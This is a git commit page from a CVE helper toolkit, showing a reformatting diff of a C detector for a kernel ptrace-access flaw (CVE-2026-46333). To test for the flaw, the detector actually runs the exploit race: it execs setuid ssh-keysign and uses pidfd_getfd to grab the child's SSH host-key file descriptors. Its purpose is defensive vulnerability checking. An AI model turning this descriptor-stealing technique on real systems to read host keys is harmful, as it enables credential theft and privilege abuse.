cve-toolkit

CVE helper toolkit
git clone git://git.finwo.net/app/cve-toolkit
Log | Files | Refs | README | LICENSE

commit 5c1620823a266444d9b3261ae5dcf36be34338d1
parent 4bf0dfe2b7cae70c9a9eea0f948b70c57e9b74ee
Author: finwo <finwo@pm.me>
Date:   Tue, 19 May 2026 15:40:21 +0200

Auto-formatting

Diffstat:
Msrc/detector/cve-2026-46333.c | 198+++++++++++++++++++++++++++++++++++++------------------------------------------
1 file changed, 92 insertions(+), 106 deletions(-)

diff --git a/src/detector/cve-2026-46333.c b/src/detector/cve-2026-46333.c @@ -23,124 +23,110 @@ #include "setup.h" #ifndef __NR_pidfd_open -#define __NR_pidfd_open 434 +#define __NR_pidfd_open 434 #endif #ifndef __NR_pidfd_getfd #define __NR_pidfd_getfd 438 #endif -static int my_pidfd_open(pid_t pid, unsigned flags) -{ - return (int)syscall(__NR_pidfd_open, pid, flags); +static int my_pidfd_open(pid_t pid, unsigned flags) { + return (int)syscall(__NR_pidfd_open, pid, flags); } -static int my_pidfd_getfd(int pidfd, int targetfd, unsigned flags) -{ - return (int)syscall(__NR_pidfd_getfd, pidfd, targetfd, flags); +static int my_pidfd_getfd(int pidfd, int targetfd, unsigned flags) { + return (int)syscall(__NR_pidfd_getfd, pidfd, targetfd, flags); } static const char *SSH_KEYSIGN_PATHS[] = { - "/usr/libexec/ssh-keysign", - "/usr/libexec/openssh/ssh-keysign", - "/usr/lib/ssh/ssh-keysign", - "/usr/lib/openssh/ssh-keysign", - NULL, + "/usr/libexec/ssh-keysign", + "/usr/libexec/openssh/ssh-keysign", + "/usr/lib/ssh/ssh-keysign", + "/usr/lib/openssh/ssh-keysign", + NULL, }; -int detector_cve_2026_46333(struct cve_context *ctx) -{ - const char *bin = NULL; - - /* Locate ssh-keysign binary */ - for (int i = 0; SSH_KEYSIGN_PATHS[i]; i++) { - if (access(SSH_KEYSIGN_PATHS[i], X_OK) == 0) { - bin = SSH_KEYSIGN_PATHS[i]; - break; - } - } - if (!bin) { - /* ssh-keysign not present — not exploitable */ - return 0; - } - - /* - * Try up to 200 rounds. The upstream exploit uses 500; 200 is - * enough to be confident while keeping detector runtime reasonable. - */ - for (int round = 0; round < 200; round++) { - pid_t child = fork(); - if (child < 0) - return 0; - - if (child == 0) { - /* Child: redirect stdio and exec ssh-keysign */ - int dn = open("/dev/null", O_RDWR); - if (dn >= 0) { - dup2(dn, 0); - dup2(dn, 1); - dup2(dn, 2); - if (dn > 2) - close(dn); - } - execl(bin, "ssh-keysign", (char *)NULL); - _exit(127); - } - - int pidfd = my_pidfd_open(child, 0); - if (pidfd < 0) { - waitpid(child, NULL, 0); - continue; - } - - int hit = 0; - for (int a = 0; a < 30000 && !hit; a++) { - /* If the child already exited, stop hammering pidfd_getfd */ - if (waitpid(child, NULL, WNOHANG) > 0) - break; - for (int fd = 3; fd < 32; fd++) { - int stolen = my_pidfd_getfd(pidfd, fd, 0); - if (stolen < 0) - continue; - - /* Resolve the stolen fd to see what it points at */ - char path[256] = {0}; - char link[64]; - snprintf(link, sizeof(link), "/proc/self/fd/%d", stolen); - ssize_t n = readlink(link, path, sizeof(path) - 1); - if (n > 0) - path[n] = '\0'; - - if (strstr(path, "ssh_host_") && strstr(path, "_key")) { - /* Found a host key fd — system is vulnerable */ - if (ctx->verbose) - fprintf(stderr, - "[cve-2026-46333] vulnerable: stole fd %d -> %s\n", - fd, path); - close(stolen); - hit = 1; - break; - } - close(stolen); - } - } - - close(pidfd); - waitpid(child, NULL, 0); - - if (hit) - return 1; /* vulnerable */ - } - - /* No hit after all rounds — likely patched */ - return 0; +int detector_cve_2026_46333(struct cve_context *ctx) { + const char *bin = NULL; + + /* Locate ssh-keysign binary */ + for (int i = 0; SSH_KEYSIGN_PATHS[i]; i++) { + if (access(SSH_KEYSIGN_PATHS[i], X_OK) == 0) { + bin = SSH_KEYSIGN_PATHS[i]; + break; + } + } + if (!bin) { + /* ssh-keysign not present — not exploitable */ + return 0; + } + + /* + * Try up to 200 rounds. The upstream exploit uses 500; 200 is + * enough to be confident while keeping detector runtime reasonable. + */ + for (int round = 0; round < 200; round++) { + pid_t child = fork(); + if (child < 0) return 0; + + if (child == 0) { + /* Child: redirect stdio and exec ssh-keysign */ + int dn = open("/dev/null", O_RDWR); + if (dn >= 0) { + dup2(dn, 0); + dup2(dn, 1); + dup2(dn, 2); + if (dn > 2) close(dn); + } + execl(bin, "ssh-keysign", (char *)NULL); + _exit(127); + } + + int pidfd = my_pidfd_open(child, 0); + if (pidfd < 0) { + waitpid(child, NULL, 0); + continue; + } + + int hit = 0; + for (int a = 0; a < 30000 && !hit; a++) { + /* If the child already exited, stop hammering pidfd_getfd */ + if (waitpid(child, NULL, WNOHANG) > 0) break; + for (int fd = 3; fd < 32; fd++) { + int stolen = my_pidfd_getfd(pidfd, fd, 0); + if (stolen < 0) continue; + + /* Resolve the stolen fd to see what it points at */ + char path[256] = {0}; + char link[64]; + snprintf(link, sizeof(link), "/proc/self/fd/%d", stolen); + ssize_t n = readlink(link, path, sizeof(path) - 1); + if (n > 0) path[n] = '\0'; + + if (strstr(path, "ssh_host_") && strstr(path, "_key")) { + /* Found a host key fd — system is vulnerable */ + if (ctx->verbose) fprintf(stderr, "[cve-2026-46333] vulnerable: stole fd %d -> %s\n", fd, path); + close(stolen); + hit = 1; + break; + } + close(stolen); + } + } + + close(pidfd); + waitpid(child, NULL, 0); + + if (hit) return 1; /* vulnerable */ + } + + /* No hit after all rounds — likely patched */ + return 0; } -__attribute__((constructor)) -void detector_cve_2026_46333_setup(void) -{ - detector_queue_append("CVE-2026-46333", "ssh-keysign-pwn", - "Update the Linux kernel to >= 31e62c2ebbfd (2026-05-14) or later.\n" - " No per-binary workaround is effective — the flaw is in the\n" - " kernel's __ptrace_may_access() and affects any setuid binary.", - detector_cve_2026_46333); +__attribute__((constructor)) void detector_cve_2026_46333_setup(void) { + detector_queue_append("CVE-2026-46333", "ssh-keysign-pwn", + "Update the Linux kernel to >= 31e62c2ebbfd (2026-05-14) or later.\n" + " No per-binary workaround is effective — the flaw is in the\n" + " kernel's __ptrace_may_access() and affects any setuid binary.", + detector_cve_2026_46333); }